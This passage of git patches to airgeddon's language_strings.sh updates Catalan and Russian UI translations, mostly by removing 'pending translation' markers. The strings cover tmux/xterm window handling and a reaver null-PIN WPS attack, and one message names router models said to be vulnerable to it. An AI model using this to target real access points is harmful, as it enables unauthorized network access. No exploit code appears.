sistema grafico di X Windows. È consigliato solo per utenti esperti. Come qualsiasi altra opzione, può essere configurata dal menu delle opzioni, configurata nel file delle opzioni ${rc_file} o avviata utilizzando il \"flag\" AIRGEDDON_WINDOWS_HANDLING sulla riga di comando. Maggiori informazioni sulla personalizzazione delle opzioni nel Wiki: ${urlgithub_wiki}/Options" From 850de9068a5f7dfcce98eaf0eed955d473c9619a Mon Sep 17 00:00:00 2001 From: cLn73 Date: Wed, 8 May 2019 13:29:28 +0200 Subject: [PATCH 143/148] Updated Catalan Translations --- language_strings.sh | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index c9a966f1b..c43f6f438 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8245,7 +8245,7 @@ function language_strings() { arr["ENGLISH",616]="10. Change windows handling method to tmux" arr["SPANISH",616]="10. Cambiar el método de manejo de ventanas a tmux" arr["FRENCH",616]="10. Changer la méthode de gestion des fenêtres en tmux" - arr["CATALAN",616]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a tmux" + arr["CATALAN",616]="10. Canviar el mètode de maneig de finestres a tmux" arr["PORTUGUESE",616]="10. Alterar gerenciador de janelas para tmux" arr["RUSSIAN",616]="${pending_of_translation} 10. Измените метод управления окнами на tmux" arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" @@ -8257,7 +8257,7 @@ function language_strings() { arr["ENGLISH",617]="10. Change windows handling method to xterm" arr["SPANISH",617]="10. Cambiar el método de manejo de ventanas a xterm" arr["FRENCH",617]="10. Changer la méthode de gestion des fenêtres en xterm" - arr["CATALAN",617]="${pending_of_translation} 10. Canviar el mètode de maneig de finestres a xterm" + arr["CATALAN",617]="10. Canviar el mètode de maneig de finestres a xterm" arr["PORTUGUESE",617]="Alterar gerenciador de janelas para xterm" arr["RUSSIAN",617]="${pending_of_translation} 10. Измените метод управления окнами на xterm" arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" @@ -8269,7 +8269,7 @@ function language_strings() { arr["ENGLISH",618]="Windows handling: ${pink_color}xterm${normal_color}" arr["SPANISH",618]="Manejo de ventanas: ${pink_color}xterm${normal_color}" arr["FRENCH",618]="Gestion des fenêtres: ${pink_color}xterm${normal_color}" - arr["CATALAN",618]="${pending_of_translation} Maneig de finestres: ${pink_color}xterm${normal_color}" + arr["CATALAN",618]="Maneig de finestres: ${pink_color}xterm${normal_color}" arr["PORTUGUESE",618]="Gerenciador de janelas: ${pink_color}xterm${normal_color}" arr["RUSSIAN",618]="${pending_of_translation} Управление окнами: ${pink_color}xterm${normal_color}" arr["GREEK",618]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}xterm${normal_color}" @@ -8281,7 +8281,7 @@ function language_strings() { arr["ENGLISH",619]="Windows handling: ${pink_color}tmux${normal_color}" arr["SPANISH",619]="Manejo de ventanas: ${pink_color}tmux${normal_color}" arr["FRENCH",619]="Gestion des fenêtres: ${pink_color}tmux${normal_color}" - arr["CATALAN",619]="${pending_of_translation} Maneig de finestres: ${pink_color}tmux${normal_color}" + arr["CATALAN",619]="Maneig de finestres: ${pink_color}tmux${normal_color}" arr["PORTUGUESE",619]="Gerenciador de janelas: ${pink_color}tmux${normal_color}" arr["RUSSIAN",619]="${pending_of_translation} Управление окнами: ${pink_color}tmux${normal_color}" arr["GREEK",619]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}tmux${normal_color}" @@ -8293,7 +8293,7 @@ function language_strings() { arr["ENGLISH",620]="The windows handling method has been modified in the configuration file. Restart the script in order to make the changes to take effect" arr["SPANISH",620]="Se ha modificado en el fichero de configuración el método de gestión de ventanas. Reinicia el script para que los cambios tengan efecto" arr["FRENCH",620]="La méthode de gestion des fenêtres a été modifiée dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" - arr["CATALAN",620]="${pending_of_translation} S'ha modificat en el fitxer de configuració el mètode de gestió de finestres. Reinicia el script perquè els canvis tinguin efecte" + arr["CATALAN",620]="S'ha modificat en el fitxer de configuració el mètode de gestió de finestres. Reinicia el script perquè els canvis tinguin efecte" arr["PORTUGUESE",620]="O gerenciador de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" arr["RUSSIAN",620]="${pending_of_translation} Метод управления окнами был изменен в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" arr["GREEK",620]="${pending_of_translation} Η μέθοδος διαχείρισης παραθύρων έχει τροποποιηθεί στο αρχείο ρυθμίσεων. Κάντε επανεκκίνηση του σεναρίου για να εφαρμοστούν οι αλλαγές" @@ -8303,9 +8303,9 @@ function language_strings() { arr["TURKISH",620]="${pending_of_translation} Pencere yönetim yöntemi, yapılandırma dosyasında değiştirildi. Değişikliklerin etkili olması için betiği yeniden başlatın" arr["ENGLISH",621]="It's not possible to run airgeddon in the current tmux session. This session will be send to background and a new tmux session will be created for launching airgeddon" - arr["SPANISH",621]="No es posible ejecutar airgeddon en la sesión tmux actual. Esta sesión será enivada a segundo plano y se creará una nueva sesión tmux donde airgeddon será lanzado" + arr["SPANISH",621]="No es posible ejecutar airgeddon en la sesión tmux actual. Esta sesión será enviada a segundo plano y se creará una nueva sesión tmux donde airgeddon será lanzado" arr["FRENCH",621]="Il n'est pas possible de lancer airgeddon dans la session de tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera crée pour lancer airgeddon" - arr["CATALAN",621]="${pending_of_translation} No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enivada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" + arr["CATALAN",621]="No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enviada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" arr["PORTUGUESE",621]="Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será colocada em segundo plano e uma nova sessão do tmux será criada onde o airgeddon será executado" arr["RUSSIAN",621]="${pending_of_translation} Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" arr["GREEK",621]="${pending_of_translation} Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η περίοδος θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" @@ -8317,7 +8317,7 @@ function language_strings() { arr["ENGLISH",622]="13. (reaver) Null PIN attack" arr["SPANISH",622]="13. (reaver) Ataque de PIN nulo" arr["FRENCH",622]="13. (reaver) Attaque de PIN nul" - arr["CATALAN",622]="${pending_of_translation} 13. (reaver) Atac de PIN nul" + arr["CATALAN",622]="13. (reaver) Atac de PIN nul" arr["PORTUGUESE",622]="13. (reaver) Ataque de PIN nulo" arr["RUSSIAN",622]="${pending_of_translation} 13. (reaver) Атака нулевого PIN" arr["GREEK",622]="${pending_of_translation} 13. (reaver) Null PIN επίθεση" @@ -8329,7 +8329,7 @@ function language_strings() { arr["ENGLISH",623]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform null PIN integrated reaver attack (minimum version v${minimum_reaver_nullpin_version}). Script can continue..." arr["SPANISH",623]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque de PIN nulo integrado con reaver (versión minima v${minimum_reaver_nullpin_version}). El script puede continuar..." arr["FRENCH",623]="Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." - arr["CATALAN",623]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." + arr["CATALAN",623]="Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." arr["PORTUGUESE",623]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." arr["RUSSIAN",623]="${pending_of_translation} У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." arr["GREEK",623]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_nullpin_version}), για την επίθεση null PIN με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." @@ -8341,7 +8341,7 @@ function language_strings() { arr["ENGLISH",624]="You have reaver installed (v${reaver_version}), but not required version. To perform null PIN integrated reaver attack you must have at least version v${minimum_reaver_nullpin_version}" arr["SPANISH",624]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque de PIN nulo integrado con reaver has de tener al menos la versión v${minimum_reaver_nullpin_version}" arr["FRENCH",624]="Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v${minimum_reaver_nullpin_version}" - arr["CATALAN",624]="${pending_of_translation} Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" + arr["CATALAN",624]="Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" arr["PORTUGUESE",624]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" arr["RUSSIAN",624]="${pending_of_translation} У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" arr["GREEK",624]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_nullpin_version}" @@ -8353,7 +8353,7 @@ function language_strings() { arr["ENGLISH",625]="Null PIN attack is pretty fast and achieve the password almost instantly but only a few access points are vulnerable. Some of them are \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" and \"ZTE H298N\"" arr["SPANISH",625]="El ataque de PIN nulo es muy rápido y consigue la contraseña instantáneamente pero solo unos pocos puntos de acceso son vulnerables. Algunos conocidos son \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" y \"ZTE H298N\"" arr["FRENCH",625]="L'attaque de PIN nul est très rapide et il obtient le mot de passe instantanément, mais juste quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" - arr["CATALAN",625]="${pending_of_translation} L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" + arr["CATALAN",625]="L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" arr["PORTUGUESE",625]="O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns como: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["RUSSIAN",625]="${pending_of_translation} Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Некоторые \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" arr["GREEK",625]="${pending_of_translation} Η μηδενική επίθεση PIN είναι πολύ γρήγορη και παίρνει τον κωδικό αμέσως, αλλά μόνο λίγα σημεία πρόσβασης είναι ευάλωτα. Κάποιοι είναι \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" @@ -8365,7 +8365,7 @@ function language_strings() { arr["ENGLISH",626]="Since airgeddon 9.20 version, tmux is supported and it can be used instead of xterm as windows handler. Script can be launched in a headless environment without a graphical X window system. It is recommended only for advanced users. Like any other option, it can be configured on the options menu, on the ${rc_file} options file or launched using AIRGEDDON_WINDOWS_HANDLING \"flag\" in the command line. More information about options customization at Wiki: ${urlgithub_wiki}/Options" arr["SPANISH",626]="A partir de la versión 9.20 de airgeddon, tmux está soportado y se puede utilizar en lugar de xterm como gestor de ventanas. Se puede lanzar el script en un entorno sin un sistema gráfico de ventanas X. Solo se recomienda hacerlo para usuarios avanzados. Como cualquier otra opción, se puede configurar desde el menú de opciones, configurarlo en el fichero de opciones ${rc_file} o lanzarlo usando el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línea de comandos. Más información acerca de la personalización de opciones en el Wiki: ${urlgithub_wiki}/Options" arr["FRENCH",626]="À partir de la version 9.20 d'airgeddon, tmux est supporté et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options ${rc_file} ou le lancer à l'aide de \"flag\" AIRGEDDON_WINDOWS_HANDLING sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: ${urlgithub_wiki}/Options" - arr["CATALAN",626]="${pending_of_translation} A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions ${rc_file} o llançar-usant el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: ${urlgithub_wiki}/Options" + arr["CATALAN",626]="A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions ${rc_file} o llançar usant el \"flag\" AIRGEDDON_WINDOWS_HANDLING en la línia d'ordres. Més informació sobre la personalització d'opcions al Wiki: ${urlgithub_wiki}/Options" arr["PORTUGUESE",626]="A partir da versão 9.20 do airgeddon, o tmux pode ser usado em vez do xterm como gerenciador de janelas. Você pode iniciar o script em um ambiente sem um sistema gráfico (X-Window). É recomendado apenas para usuários avançados. Como as demais opções, pode ser configurado a partir do menu, configurado no arquivo de opções ${rc_file} ou iniciado usando o \"parâmetro\" AIRGEDDON_WINDOWS_HANDLING na linha de comando. Mais informações sobre a customização de opções no Wiki: ${urlgithub_wiki}/Options" arr["RUSSIAN",626]="${pending_of_translation} Начиная с версии airgeddon 9.20, tmux поддерживается и может использоваться вместо xterm в качестве обработчика Windows. Скрипт может быть запущен в автономной среде без графической системы X Window. Рекомендуется только для опытных пользователей. Как и любой другой параметр, его можно настроить в меню параметров, в файле параметров ${rc_file} или запустить с помощью AIRGEDDON_WINDOWS_HANDLING \"flag\" в командной строке. Больше информации о настройке опций на Wiki: ${urlgithub_wiki}/Options" arr["GREEK",626]="${pending_of_translation} Από την εκδοχή airgeddon 9.20, υποστηρίζεται το tmux και μπορεί να χρησιμοποιηθεί αντί του xterm ως χειριστής παραθύρων. Το σενάριο μπορεί να εκτοξευθεί σε περιβάλλον χωρίς κεφαλή χωρίς γραφικό σύστημα παραθύρων X. Συνιστάται μόνο για προχωρημένους χρήστες. Όπως και κάθε άλλη επιλογή, μπορεί να ρυθμιστεί στο μενού επιλογών, στο αρχείο επιλογών ${rc_file} ή να ξεκινήσει χρησιμοποιώντας τη \"flag\" AIRGEDDON_WINDOWS_HANDLING στη γραμμή εντολών. Περισσότερες πληροφορίες σχετικά με την προσαρμογή των επιλογών στο Wiki: ${urlgithub_wiki}/Options" From ab8fa75ca6c53a0dcb50e8586466a23fcad8f38e Mon Sep 17 00:00:00 2001 From: Mi-Al Date: Thu, 16 May 2019 05:36:46 +0300 Subject: [PATCH 144/148] Updated Russian translation --- language_strings.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index c43f6f438..4f012214a 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -8247,7 +8247,7 @@ function language_strings() { arr["FRENCH",616]="10. Changer la méthode de gestion des fenêtres en tmux" arr["CATALAN",616]="10. Canviar el mètode de maneig de finestres a tmux" arr["PORTUGUESE",616]="10. Alterar gerenciador de janelas para tmux" - arr["RUSSIAN",616]="${pending_of_translation} 10. Измените метод управления окнами на tmux" + arr["RUSSIAN",616]="10. Изменить метод управления окнами на tmux" arr["GREEK",616]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε tmux" arr["ITALIAN",616]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in tmux" arr["POLISH",616]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na tmux" @@ -8259,7 +8259,7 @@ function language_strings() { arr["FRENCH",617]="10. Changer la méthode de gestion des fenêtres en xterm" arr["CATALAN",617]="10. Canviar el mètode de maneig de finestres a xterm" arr["PORTUGUESE",617]="Alterar gerenciador de janelas para xterm" - arr["RUSSIAN",617]="${pending_of_translation} 10. Измените метод управления окнами на xterm" + arr["RUSSIAN",617]="10. Изменить метод управления окнами на xterm" arr["GREEK",617]="${pending_of_translation} 10. Αλλάξτε τη μέθοδο διαχείρισης παραθύρων σε xterm" arr["ITALIAN",617]="${pending_of_translation} 10. Cambia il metodo di gestione delle finestre in xterm" arr["POLISH",617]="${pending_of_translation} 10. Zmień metodę zarządzania oknami na xterm" @@ -8271,7 +8271,7 @@ function language_strings() { arr["FRENCH",618]="Gestion des fenêtres: ${pink_color}xterm${normal_color}" arr["CATALAN",618]="Maneig de finestres: ${pink_color}xterm${normal_color}" arr["PORTUGUESE",618]="Gerenciador de janelas: ${pink_color}xterm${normal_color}" - arr["RUSSIAN",618]="${pending_of_translation} Управление окнами: ${pink_color}xterm${normal_color}" + arr["RUSSIAN",618]="Управление окнами: ${pink_color}xterm${normal_color}" arr["GREEK",618]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}xterm${normal_color}" arr["ITALIAN",618]="${pending_of_translation} Gestione delle finestre: ${pink_color}xterm${normal_color}" arr["POLISH",618]="${pending_of_translation} Zarządzanie oknami: ${pink_color}xterm${normal_color}" @@ -8283,7 +8283,7 @@ function language_strings() { arr["FRENCH",619]="Gestion des fenêtres: ${pink_color}tmux${normal_color}" arr["CATALAN",619]="Maneig de finestres: ${pink_color}tmux${normal_color}" arr["PORTUGUESE",619]="Gerenciador de janelas: ${pink_color}tmux${normal_color}" - arr["RUSSIAN",619]="${pending_of_translation} Управление окнами: ${pink_color}tmux${normal_color}" + arr["RUSSIAN",619]="Управление окнами: ${pink_color}tmux${normal_color}" arr["GREEK",619]="${pending_of_translation} Διαχείριση παραθύρων: ${pink_color}tmux${normal_color}" arr["ITALIAN",619]="${pending_of_translation} Gestione delle finestre: ${pink_color}tmux${normal_color}" arr["POLISH",619]="${pending_of_translation} Zarządzanie oknami: ${pink_color}tmux${normal_color}" @@ -8295,7 +8295,7 @@ function language_strings() { arr["FRENCH",620]="La méthode de gestion des fenêtres a été modifiée dans le fichier de configuration. Redémarrez le script pour que les modifications prennent effet" arr["CATALAN",620]="S'ha modificat en el fitxer de configuració el mètode de gestió de finestres. Reinicia el script perquè els canvis tinguin efecte" arr["PORTUGUESE",620]="O gerenciador de janelas foi modificado no arquivo de configuração. Reinicie o script para que as alterações entrem em vigor" - arr["RUSSIAN",620]="${pending_of_translation} Метод управления окнами был изменен в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" + arr["RUSSIAN",620]="Метод управления окнами был изменён в файле конфигурации. Перезапустите скрипт, чтобы изменения вступили в силу" arr["GREEK",620]="${pending_of_translation} Η μέθοδος διαχείρισης παραθύρων έχει τροποποιηθεί στο αρχείο ρυθμίσεων. Κάντε επανεκκίνηση του σεναρίου για να εφαρμοστούν οι αλλαγές" arr["ITALIAN",620]="${pending_of_translation} Il metodo di gestione delle finestre è stato modificato nel file di configurazione. Riavviare lo script per rendere effettive le modifiche" arr["POLISH",620]="${pending_of_translation} Metoda zarządzania oknami została zmodyfikowana w pliku konfiguracyjnym. Uruchom ponownie skrypt, aby zmiany odniosły skutek" @@ -8307,7 +8307,7 @@ function language_strings() { arr["FRENCH",621]="Il n'est pas possible de lancer airgeddon dans la session de tmux en cours. Cette session sera envoyée à l’arrière-plan et une nouvelle session tmux sera crée pour lancer airgeddon" arr["CATALAN",621]="No és possible executar airgeddon en la sessió tmux actual. Aquesta sessió serà enviada a segon pla i es crearà una nova sessió tmux on airgeddon serà llançat" arr["PORTUGUESE",621]="Não é possível executar o airgeddon na sessão atual do tmux. Esta sessão será colocada em segundo plano e uma nova sessão do tmux será criada onde o airgeddon será executado" - arr["RUSSIAN",621]="${pending_of_translation} Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" + arr["RUSSIAN",621]="Невозможно запустить airgeddon в текущей сессии tmux. Этот сеанс будет отправлен в фоновый режим, и будет создан новый сеанс tmux для запуска airgeddon" arr["GREEK",621]="${pending_of_translation} Δεν είναι δυνατό να εκτελέσετε airgeddon στην τρέχουσα συνεδρία tmux. Αυτή η περίοδος θα στείλει στο παρασκήνιο και θα δημιουργηθεί μια νέα συνεδρία tmux για την εκκίνηση του airgeddon" arr["ITALIAN",621]="${pending_of_translation} Non è possibile eseguire airgeddon nella sessione corrente di tmux. Questa sessione verrà inviata in background e verrà creata una nuova sessione tmux in cui verrà lanciato airgeddon" arr["POLISH",621]="${pending_of_translation} Nie można uruchomić airgeddon w bieżącej sesji tmux. Ta sesja zostanie wysłana do tła i zostanie utworzona nowa sesja tmux, w której zostanie uruchomiony airgeddon" @@ -8319,7 +8319,7 @@ function language_strings() { arr["FRENCH",622]="13. (reaver) Attaque de PIN nul" arr["CATALAN",622]="13. (reaver) Atac de PIN nul" arr["PORTUGUESE",622]="13. (reaver) Ataque de PIN nulo" - arr["RUSSIAN",622]="${pending_of_translation} 13. (reaver) Атака нулевого PIN" + arr["RUSSIAN",622]="13. (reaver) Атака с нулевым PIN" arr["GREEK",622]="${pending_of_translation} 13. (reaver) Null PIN επίθεση" arr["ITALIAN",622]="${pending_of_translation} 13. (reaver) Attacco PIN nullo" arr["POLISH",622]="${pending_of_translation} 13. (reaver) Atak null PIN" @@ -8331,7 +8331,7 @@ function language_strings() { arr["FRENCH",623]="Reaver est installé (v${reaver_version}). Cette version est compatible avec l'attaque par PIN nul (version minimale: ${minimum_reaver_nullpin_version}). Le script peut continuer..." arr["CATALAN",623]="Tens reaver instal·lat (v${reaver_version}). Compleixes amb el requisit de versió per a realitzar l'atac de PIN nul integrat amb reaver (versió mínima v${minimum_reaver_nullpin_version}). El script pot continuar..." arr["PORTUGUESE",623]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque de PIN nulo com reaver (versão mínima v${minimum_reaver_nullpin_version}). O script pode continuar..." - arr["RUSSIAN",623]="${pending_of_translation} У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." + arr["RUSSIAN",623]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки нулевого PIN (минимальная версия v${minimum_reaver_nullpin_version}). Скрипт может продолжить работу..." arr["GREEK",623]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_nullpin_version}), για την επίθεση null PIN με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." arr["ITALIAN",623]="${pending_of_translation} È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco PIN nullo integrato con reaver (versione minima v${minimum_reaver_nullpin_version}). Lo script può continuare..." arr["POLISH",623]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}). Spełnia on wymagania dotyczące wersji, aby wykonać atak null PIN (wersja minimalna v${minimum_reaver_nullpin_version}). Skrypt może kontynuować..." @@ -8343,7 +8343,7 @@ function language_strings() { arr["FRENCH",624]="Reaver est installé (v${reaver_version}) mais cette version n'est pas compatible avec l'attaque par PIN nul. Version minimale requise: v${minimum_reaver_nullpin_version}" arr["CATALAN",624]="Tens reaver instal·lat (v${reaver_version}), encara que no és la versió requerida. Per realitzar l'atac de PIN nul integrat amb reaver has de tenir almenys la versió v${minimum_reaver_nullpin_version}" arr["PORTUGUESE",624]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque de PIN nulo com reaver você precisa ter pelo menos a versão v${minimum_reaver_nullpin_version}" - arr["RUSSIAN",624]="${pending_of_translation} У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" + arr["RUSSIAN",624]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки нулевого PIN у вас должна быть по крайней мере v${minimum_reaver_nullpin_version}" arr["GREEK",624]="${pending_of_translation} Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση null PIN με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_nullpin_version}" arr["ITALIAN",624]="${pending_of_translation} È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco PIN nullo integrato con reaver devi avere almeno la versione v${minimum_reaver_nullpin_version}" arr["POLISH",624]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}), ale nie wymaganą wersję. Aby zrealizować atak null PIN zintegrowany z programem reaver musisz mieć co najmniej wersję v${minimum_reaver_nullpin_version}" @@ -8355,7 +8355,7 @@ function language_strings() { arr["FRENCH",625]="L'attaque de PIN nul est très rapide et il obtient le mot de passe instantanément, mais juste quelques points d'accès sont vulnérables. Certains sont \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" et \"ZTE H298N\"" arr["CATALAN",625]="L'atac PIN nul és molt ràpid i aconsegueix la contrasenya instantàniament però només uns pocs punts d'accés són vulnerables. alguns són \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" arr["PORTUGUESE",625]="O ataque de PIN nulo é muito rápido e obtém a senha instantaneamente, mas apenas alguns pontos de acesso são vulneráveis. Alguns como: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" - arr["RUSSIAN",625]="${pending_of_translation} Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Некоторые \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" + arr["RUSSIAN",625]="Атака по нулевому PIN-коду очень быстрая и мгновенно получает пароль, но уязвимы только несколько точек доступа. Примеры некоторых из них: \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" и \"ZTE H298N\"" arr["GREEK",625]="${pending_of_translation} Η μηδενική επίθεση PIN είναι πολύ γρήγορη και παίρνει τον κωδικό αμέσως, αλλά μόνο λίγα σημεία πρόσβασης είναι ευάλωτα. Κάποιοι είναι \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" και \"ZTE H298N\"" arr["ITALIAN",625]="${pending_of_translation} L'attacco PIN nullo è molto veloce e ottiene la password all'istante, ma solo pochi punti di accesso sono vulnerabili. Alcuni lo sono \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" e \"ZTE H298N\"" arr["POLISH",625]="${pending_of_translation} Atak null kodu PIN jest bardzo szybki i natychmiast otrzymuje hasło, ale tylko kilka punktów dostępu jest podatnych na ataki. Niektóre są \"Huawei HG658C\", \"ZTE H218N\", \"ZTE H108N\" i \"ZTE H298N\"" @@ -8367,7 +8367,7 @@ function language_strings() { arr["FRENCH",626]="À partir de la version 9.20 d'airgeddon, tmux est supporté et peut être utilisé à la place de xterm en tant que gestionnaire de fenêtres. Vous pouvez lancer le script dans un environnement dépourvu de système graphique X Windows. Il est recommandé aux utilisateurs avancés. Comme toute autre option, elle peut être configurée à partir du menu d'options, dans le fichier d'options ${rc_file} ou le lancer à l'aide de \"flag\" AIRGEDDON_WINDOWS_HANDLING sur la ligne de commande. Plus d'informations sur la personnalisation des options dans le Wiki: ${urlgithub_wiki}/Options" arr["CATALAN",626]="A partir de la versió 9.20 de airgeddon, tmux està suportat i es pot utilitzar en lloc de xterm com a gestor de finestres. Es pot llançar l'script en un entorn sense un sistema gràfic de finestres X. Només es recomana fer-ho per a usuaris avançats. Com qualsevol altra opció, es pot configurar des del menú d'opcions, configurar en el fitxer d'opcions ${rc_file} o llançar usant el \"flag\" 